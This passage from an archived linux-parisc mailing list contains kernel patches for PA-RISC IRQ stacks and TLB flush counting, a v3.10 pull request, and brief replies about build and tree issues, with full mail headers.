+	copy	%sp, %r1
+
+	/* Regarding the HPPA calling conventions for function pointers,
+	   we assume the PIC register is not changed across call.  For
+	   CONFIG_64BIT, the argument pointer is left to point at the
+	   argument region allocated for the call to call_on_stack. */
+# ifdef CONFIG_64BIT
+	/* Switch to new stack.  We allocate two 128 byte frames.  */
+	ldo	256(%arg2), %sp
+	/* Save previous stack pointer and return pointer in frame marker */
+	STREG	%rp, -144(%sp)
+	/* Calls always use function descriptor */
+	LDREG	16(%arg1), %arg1
+	bve,l	(%arg1), %rp
+	STREG	%r1, -136(%sp)
+	LDREG	-144(%sp), %rp
+	bve	(%rp)
+	LDREG	-136(%sp), %sp
+# else
+	/* Switch to new stack.  We allocate two 64 byte frames.  */
+	ldo	128(%arg2), %sp
+	/* Save previous stack pointer and return pointer in frame marker */
+	STREG	%r1, -68(%sp)
+	STREG	%rp, -84(%sp)
+	/* Calls use function descriptor if PLABEL bit is set */
+	bb,>=,n	%arg1, 30, 1f
+	depwi	0,31,2, %arg1
+	LDREG	0(%arg1), %arg1
+1:
+	be,l	0(%sr4,%arg1), %sr0, %r31
+	copy	%r31, %rp
+	LDREG	-84(%sp), %rp
+	bv	(%rp)
+	LDREG	-68(%sp), %sp
+# endif /* CONFIG_64BIT */
+ENDPROC(call_on_stack)
+#endif /* CONFIG_IRQSTACKS */
 
 get_register:
 	/*
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 61e51ac..810f9cf8 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -358,6 +358,29 @@ static inline void stack_overflow_check(struct pt_regs *regs)
 #endif
 }
 
+#ifdef CONFIG_IRQSTACKS
+DEFINE_PER_CPU(union irq_stack_union, irq_stack_union);
+
+static void execute_on_irq_stack(void *func, unsigned long param1)
+{
+	unsigned long *irq_stack_start;
+	unsigned long irq_stack;
+	int cpu = smp_processor_id();
+
+	irq_stack_start = &per_cpu(irq_stack_union, cpu).stack[0];
+	irq_stack = (unsigned long) irq_stack_start;
+	irq_stack = ALIGN(irq_stack, 16); /* align for stack frame usage */
+
+	BUG_ON(*irq_stack_start); /* report bug if we were called recursive. */
+	*irq_stack_start = 1;
+
+	/* This is where we switch to the IRQ stack. */
+	call_on_stack(param1, func, irq_stack);
+
+	*irq_stack_start = 0;
+}
+#endif /* CONFIG_IRQSTACKS */
+
 /* ONLY called from entry.S:intr_extint() */
 void do_cpu_irq_mask(struct pt_regs *regs)
 {
@@ -393,7 +416,12 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 	}
 #endif
 	stack_overflow_check(regs);
+
+#ifdef CONFIG_IRQSTACKS
+	execute_on_irq_stack(&generic_handle_irq, irq);
+#else
 	generic_handle_irq(irq);
+#endif /* CONFIG_IRQSTACKS */
 
  out:
 	irq_exit();
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: tlb flush counting fix for SMP and UP
Date: Tue, 7 May 2013 23:42:47 +0200
Lines: 74
Approved: news@gmane.org
Message-ID: <20130507214247.GA17228@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1367962979 2294 80.91.229.3 (7 May 2013 21:42:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 May 2013 21:42:59 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 07 23:42:57 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UZpev-0004MU-6u
	for glpp-linux-parisc@plane.gmane.org; Tue, 07 May 2013 23:42:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759882Ab3EGVmw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 May 2013 17:42:52 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:63297 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759458Ab3EGVmw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 May 2013 17:42:52 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.20]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MOmOu-1UfrX22pHy-0064mv for
 <linux-parisc@vger.kernel.org>; Tue, 07 May 2013 23:42:50 +0200
Original-Received: (qmail invoked by alias); 07 May 2013 21:42:50 -0000
Original-Received: from p54AD2F3B.dip0.t-ipconnect.de (EHLO p100.box) [84.173.47.59]
  by mail.gmx.net (mp020) with SMTP; 07 May 2013 23:42:50 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19UJENugThUjHz+FjcPrvY20WNXNfBgcmQeOV1aYw
	cD1cOIlYg4OxN9
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4993
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4993>

Fix up build error on UP and show correctly number of function call
(ipi) irqs.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/hardirq.h b/arch/parisc/include/asm/hardirq.h
index a9c0fb1..12373c4 100644
--- a/arch/parisc/include/asm/hardirq.h
+++ b/arch/parisc/include/asm/hardirq.h
@@ -19,12 +19,8 @@ typedef struct {
 #ifdef CONFIG_SMP
 	unsigned int irq_resched_count;
 	unsigned int irq_call_count;
-	/*
-	 * irq_tlb_count is double-counted in irq_call_count, so it must be
-	 * subtracted from irq_call_count when displaying irq_call_count
-	 */
-	unsigned int irq_tlb_count;
 #endif
+	unsigned int irq_tlb_count;
 } ____cacheline_aligned irq_cpustat_t;
 
 DECLARE_PER_CPU_SHARED_ALIGNED(irq_cpustat_t, irq_stat);
diff --git a/arch/parisc/include/asm/tlbflush.h b/arch/parisc/include/asm/tlbflush.h
index 8f1a810..5273da9 100644
--- a/arch/parisc/include/asm/tlbflush.h
+++ b/arch/parisc/include/asm/tlbflush.h
@@ -22,6 +22,8 @@ extern spinlock_t pa_tlb_lock;
 extern void flush_tlb_all(void);
 extern void flush_tlb_all_local(void *);
 
+#define smp_flush_tlb_all()	flush_tlb_all()
+
 /*
  * flush_tlb_mm()
  *
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index a237e32..e255db0 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -175,14 +175,13 @@ int arch_show_interrupts(struct seq_file *p, int prec)
 	seq_printf(p, "  Rescheduling interrupts\n");
 	seq_printf(p, "%*s: ", prec, "CAL");
 	for_each_online_cpu(j)
-		seq_printf(p, "%10u ", irq_stats(j)->irq_call_count -
-					irq_stats(j)->irq_tlb_count);
+		seq_printf(p, "%10u ", irq_stats(j)->irq_call_count);
 	seq_printf(p, "  Function call interrupts\n");
+#endif
 	seq_printf(p, "%*s: ", prec, "TLB");
 	for_each_online_cpu(j)
 		seq_printf(p, "%10u ", irq_stats(j)->irq_tlb_count);
 	seq_printf(p, "  TLB shootdowns\n");
-#endif
 	return 0;
 }
 
diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 218e20b..e3614fb 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -264,17 +264,6 @@ void arch_send_call_function_single_ipi(int cpu)
 }
 
 /*
- * Flush all other CPU's tlb and then mine.  Do this with on_each_cpu()
- * as we want to ensure all TLB's flushed before proceeding.
- */
-
-void
-smp_flush_tlb_all(void)
-{
-	on_each_cpu(flush_tlb_all_local, NULL, 1);
-}

From - Thu Nov 08 21:09:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc updates for v3.10
Date: Wed, 8 May 2013 00:11:02 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <20130507221102.GA5338@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1367964672 18865 80.91.229.3 (7 May 2013 22:11:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 May 2013 22:11:12 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 08 00:11:11 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UZq6H-0003vO-LW
	for glpp-linux-parisc@plane.gmane.org; Wed, 08 May 2013 00:11:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751190Ab3EGWLI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 May 2013 18:11:08 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:65418 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750772Ab3EGWLI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 May 2013 18:11:08 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.10]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0Lb7El-1U73iK30qf-00kjRv for
 <linux-parisc@vger.kernel.org>; Wed, 08 May 2013 00:11:05 +0200
Original-Received: (qmail invoked by alias); 07 May 2013 22:11:05 -0000
Original-Received: from p54AD2F3B.dip0.t-ipconnect.de (EHLO p100.box) [84.173.47.59]
  by mail.gmx.net (mp010) with SMTP; 08 May 2013 00:11:05 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/YlF1u7KrYTNZNlUVWSAiAy04jyvQUe55/7flOS7
	zlP2hM/v/WeH/9
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4994 gmane.linux.kernel:1487071
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4994>

Linus,

please pull the parisc architecture updates for v3.10 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-for-3.10


Main fixes and updates in this patch series are:
 - we faced kernel stack corruptions because of multiple delivery of interrupts
 - added kernel stack overflow checks
 - added possibility to use dedicated stacks for irq processing
 - initial support for page sizes > 4k
 - more information in /proc/interrupts (e.g. TLB flushes and number of IPI calls)
 - documented how the parisc gateway page works
 - and of course quite some other smaller cleanups and fixes.

Thanks,
Helge

----------------------------------------------------------------
Damian Hobson-Garcia (1):
      parisc: Provide default implementation for dma_{alloc, free}_attrs

Helge Deller (7):
      parisc: fix partly 16/64k PAGE_SIZE boot
      parisc: document the parisc gateway page
      parisc: implement atomic64_dec_if_positive()
      parisc: add kernel stack overflow check
      parisc: implement irq stacks
      parisc: more irq statistics in /proc/interrupts
      parisc: tlb flush counting fix for SMP and UP

John David Anglin (2):
      parisc: use long branch in fork_like macro
      parisc: only re-enable interrupts if we need to schedule or deliver signals when returning to userspace

Mike Frysinger (1):
      parisc: fix NATIVE set up in build

Rolf Eike Beer (1):
      parisc: fix whitespace errors in arch/parisc/kernel/traps.c

Zhao Hongjiang (1):
      parisc: remove the second argument of kmap_atomic

 arch/parisc/Kconfig                   |   9 +++
 arch/parisc/Kconfig.debug             |  11 ++++
 arch/parisc/Makefile                  |   4 +-
 arch/parisc/include/asm/atomic.h      |  23 ++++++++
 arch/parisc/include/asm/dma-mapping.h |   3 +
 arch/parisc/include/asm/hardirq.h     |  32 ++++++++++-
 arch/parisc/include/asm/processor.h   |  20 ++++++-
 arch/parisc/include/asm/thread_info.h |   2 +-
 arch/parisc/include/asm/tlbflush.h    |   2 +
 arch/parisc/kernel/cache.c            |   6 +-
 arch/parisc/kernel/entry.S            |  68 +++++++++++++++++++---
 arch/parisc/kernel/hpmc.S             |   4 +-
 arch/parisc/kernel/irq.c              | 104 +++++++++++++++++++++++++++++++++-
 arch/parisc/kernel/pacache.S          |  33 ++++++-----
 arch/parisc/kernel/setup.c            |   2 +
 arch/parisc/kernel/smp.c              |  14 +----
 arch/parisc/kernel/syscall.S          |  34 +++++++++--
 arch/parisc/kernel/traps.c            |  24 ++++----
 arch/parisc/kernel/vmlinux.lds.S      |   2 +-
 arch/parisc/mm/init.c                 |   2 +
 drivers/parisc/sba_iommu.c            |  19 +++++--
 21 files changed, 348 insertions(+), 70 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix NATIVE set up in build
Date: Tue, 7 May 2013 19:24:04 -0400
Lines: 55
Approved: news@gmane.org
Message-ID: <BLU0-SMTP74F2A5D74A5FB368D237A797BA0@phx.gbl>
References: <1367686258-28525-1-git-send-email-vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1367969119 29300 80.91.229.3 (7 May 2013 23:25:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 May 2013 23:25:19 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 08 01:25:17 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UZrFy-0000u4-4c
	for glpp-linux-parisc@plane.gmane.org; Wed, 08 May 2013 01:25:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757217Ab3EGXYq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 May 2013 19:24:46 -0400
Original-Received: from blu0-omc4-s16.blu0.hotmail.com ([65.55.111.155]:27804 "EHLO
	blu0-omc4-s16.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757278Ab3EGXYp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 May 2013 19:24:45 -0400
Original-Received: from BLU0-SMTP74 ([65.55.111.135]) by blu0-omc4-s16.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 7 May 2013 16:24:44 -0700
X-EIP: [C6v6k7LXaBiEec/UruhP5Uv78iSjFguj]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.130.254]) by BLU0-SMTP74.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 7 May 2013 16:24:43 -0700
In-Reply-To: <1367686258-28525-1-git-send-email-vapier@gentoo.org>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 07 May 2013 23:24:43.0963 (UTC) FILETIME=[0E60A0B0:01CE4B7A]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4995
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4995>

This patch breaks builds on current Debian systems that want compiler  
prefixes
like hppa64-linux-gnu-", "hppa-linux-gnu-" or no prefix for native 32- 
bit.  The NATIVE
match previous failed and we got the correct FSF prefix.

Dave

On 4-May-13, at 12:50 PM, Mike Frysinger wrote:

> The ifeq operator does not accept globs, so this little bit of code  
> will
> never match (unless uname literally prints out "parsic*").  Rewrite to
> use a pattern matching operator so that NATIVE is set to 1 on parisc.
>
> Signed-off-by: Mike Frysinger <vapier@gentoo.org>
> ---
> arch/parisc/Makefile | 4 +---
> 1 file changed, 1 insertion(+), 3 deletions(-)
>
> diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
> index 113e282..2f967cc 100644
> --- a/arch/parisc/Makefile
> +++ b/arch/parisc/Makefile
> @@ -24,9 +24,7 @@ CHECKFLAGS	+= -D__hppa__=1
> LIBGCC		= $(shell $(CC) $(KBUILD_CFLAGS) -print-libgcc-file-name)
>
> MACHINE		:= $(shell uname -m)
> -ifeq ($(MACHINE),parisc*)
> -NATIVE		:= 1
> -endif
> +NATIVE		:= $(if $(filter parisc%,$(MACHINE)),1,0)
>
> ifdef CONFIG_64BIT
> UTS_MACHINE	:= parisc64
> -- 
> 1.8.2.1
>
> --
> To unsubscribe from this list: send the line "unsubscribe linux- 
> parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc updates for v3.10
Date: Wed, 8 May 2013 11:37:04 +1000
Lines: 44
Approved: news@gmane.org
Message-ID: <20130508113704.5ac23906e0e513b4a76d5b55@canb.auug.org.au>
References: <20130507221102.GA5338@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="PGP-SHA256";
 boundary="Signature=_Wed__8_May_2013_11_37_04_+1000_4erjVE.g3agcmWDn"
X-Trace: ger.gmane.org 1367977051 31899 80.91.229.3 (8 May 2013 01:37:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 May 2013 01:37:31 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed May 08 03:37:29 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1UZtJw-0003NV-Ur
	for glk-linux-kernel-3@plane.gmane.org; Wed, 08 May 2013 03:37:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756512Ab3EHBhR (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 7 May 2013 21:37:17 -0400
Original-Received: from haggis.pcug.org.au ([203.10.76.10]:60800 "EHLO
	members.tip.net.au" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751657Ab3EHBhQ (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 7 May 2013 21:37:16 -0400
Original-Received: from canb.auug.org.au (ibmaus65.lnk.telstra.net [165.228.126.9])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by members.tip.net.au (Postfix) with ESMTPSA id F406A1640E1;
	Wed,  8 May 2013 11:37:12 +1000 (EST)
In-Reply-To: <20130507221102.GA5338@p100.box>
X-Mailer: Sylpheed 3.3.0 (GTK+ 2.24.10; i486-pc-linux-gnu)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1487142 gmane.linux.ports.parisc:4996
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1487142>

--Signature=_Wed__8_May_2013_11_37_04_+1000_4erjVE.g3agcmWDn
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi Guys,

On Wed, 8 May 2013 00:11:02 +0200 Helge Deller <deller@gmx.de> wrote:
>
> please pull the parisc architecture updates for v3.10 from:
>=20
>   git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git p=
arisc-for-3.10

Does this mean that the parisc tree I have in linux-next
(git://git.kernel.org/pub/scm/linux/kernel/git/jejb/parisc-2.6.git#for-next)
is defunct?

--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au

--Signature=_Wed__8_May_2013_11_37_04_+1000_4erjVE.g3agcmWDn
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)

iQIcBAEBCAAGBQJRiaxAAAoJEECxmPOUX5FEPX4QAJt/1pweWxN6H1g8PpY9IGQ9
U6oB3qnzS7HG+XMOlGvURZd6r/AfJJWXJNq268V7kO+BNUKeoclohnwPi0G282bp
3Fqq08mwactR60f9cf6is5PTffoeaL3UKf0IrCtpEz7Qf/to3Do8wow29m1pjKpV
DghY4yDGafaOFex1re0YjoIRJQtjanYxw1+QjzR+t1Gp9RCfwL2iJX+krsvZQ5FW
O667dJBQqqDaOXOLik9aRvb3VCkyzDwrFHULpcASNz0Nc1t6/f3BrG8wD2cn+D/4
taOpYchbN/yei5KePK/g3B4/yDH3hN7DtTyEhemdo/WSGAHE2+fOrcOQM9viMuf0
YoiAac1Kz5Yklu1nKstsxqF20C/TEJr4ikeFyOu9lNqO6HNn3jZk0bI3eVuYv1pw
yyurq6piTh+14FjhIYUTR3kbvZz+4uzO0wAKFXL/YU2VhFoIP2ryNrKNPkZ771T8
JS1Icjh/klEz4ve2HoM4pVPl8ZLXRtdoOgBUEQBZD95Q44rY8l/KsNm9cPsGrjNv
BmekgskNjLehMmu+xqcg8cvfmyQY/o+W5vR94uLr9cxFHHI1MEOu1ZDOxaunmlMm
jSja8bHmv6GTe+aln6+Ms4othAHM20ck/ccRbuNZnKROeJW8MPjtw+skK6CoEAfA
2O6NvquTnKhV/rNtUgCZ
=kzuH
-----END PGP SIGNATURE-----

--Signature=_Wed__8_May_2013_11_37_04_+1000_4erjVE.g3agcmWDn--

From - Thu Nov 08 21:09:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:09:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiang Liu <liuj97@gmail.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v5, part4 30/41] mm/PARISC: prepare for removing num_physpages and simplify mem_init()
Date: Wed,  8 May 2013 23:51:27 +0800
Lines: 123
Approved: news@gmane.org
Message-ID: <1368028298-7401-31-git-send-email-jiang.liu@huawei.com>
References: <1368028298-7401-1-git-send-email-jiang.liu@huawei.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1368028602 26708 80.91.229.3 (8 May 2013 15:56:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 8 May 2013 15:56:42 +0000 (UTC)
Cc: Jiang Liu <jiang.liu@huawei.com>,
	David Rientjes <rientjes@google.com>,
	Wen Congyang <wency@cn.fujitsu.com>,
	Mel Gorman <mgorman@suse.de>,
	Minchan Kim <minchan@kernel.org>,
	KAMEZAWA Hiroyuki <kamezawa.hiroyu@jp.fujitsu.com>,
	Michal Hocko <mhocko@suse.cz>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Sergei Shtylyov <sergei.shtylyov@cogentembedded.com>,
	David Howells <dhowells@redhat.com>,
	Mark Salter <msalter@redhat.com>,
	Jianguo Wu <wujianguo@huawei.com>,
	linux-mm@kvack.org,
	linux-arch@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Thomas Gleixner <tglx@linutronix.de>,
	linux-parisc@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Wed May 08 17:56:39 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1Ua6jO-0004IV-AK
	for glkm-linux-mm-2@m.gmane.org; Wed, 08 May 2013 17:56:38 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id D63C96B0112; Wed,  8 May 2013 11:56:36 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id CEC776B0114; Wed,  8 May 2013 11:56:36 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id B1E4D6B0115; Wed,  8 May 2013 11:56:36 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx126.postini.com [74.125.245.126])
	by kanga.kvack.org (Postfix) with SMTP id 2B4F66B0112
	for <linux-mm@kvack.org>; Wed,  8 May 2013 11:56:36 -0400 (EDT)
Original-Received: from mail-pa0-f41.google.com ([209.85.220.41]) (using TLSv1) by na3sys010amx126.postini.com ([74.125.244.10]) with SMTP;
	Wed, 08 May 2013 15:56:36 GMT
Original-Received: by mail-pa0-f41.google.com with SMTP id rl6so1437494pac.28
        for <linux-mm@kvack.org>; Wed, 08 May 2013 08:56:35 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        bh=QbF6qJqXV47ETdCawnKJhgOw5FZPAZwCfNf0n9HixVA=;
        b=HlZin813aplqFVVjAWdBMxy7nOrQg0HnAK1MB3z4tPb6ZL75NyaW6Jx5sWZTje4/g3
         krksX0Gnhyc0Shn783gnYB2wa24nbEX1bNxSP7opF9wyFdbWH6e7j0jRAjVT4P+oe+la
         mzoji0f/lJ5QwDQcj69AHdWv+23JzbsqZ3bWwfsRHIab2x9zMbOgCLfJjytD4Iy7DGYA
         ZUf/uDaOlcIsgl/+QH6x8mfxrVyttj2G4HFu2E6JqC7I56CxGJxPaTyNNDbXOfj5DZC4
         j0kJGmg+UZq7+xVPPDkVqzeb4lF0YJcqRexyWNogsMYP5qOEmrl06lDSmodHgjtqTI9X
         iWfA==
X-Received: by 10.68.172.5 with SMTP id ay5mr8309865pbc.73.1368028595390;
        Wed, 08 May 2013 08:56:35 -0700 (PDT)
Original-Received: from localhost.localdomain ([114.250.96.136])
        by mx.google.com with ESMTPSA id uv1sm1782030pbc.16.2013.05.08.08.56.28
        for <multiple recipients>
        (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Wed, 08 May 2013 08:56:34 -0700 (PDT)
X-Mailer: git-send-email 1.7.9.5
In-Reply-To: <1368028298-7401-1-git-send-email-jiang.liu@huawei.com>
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
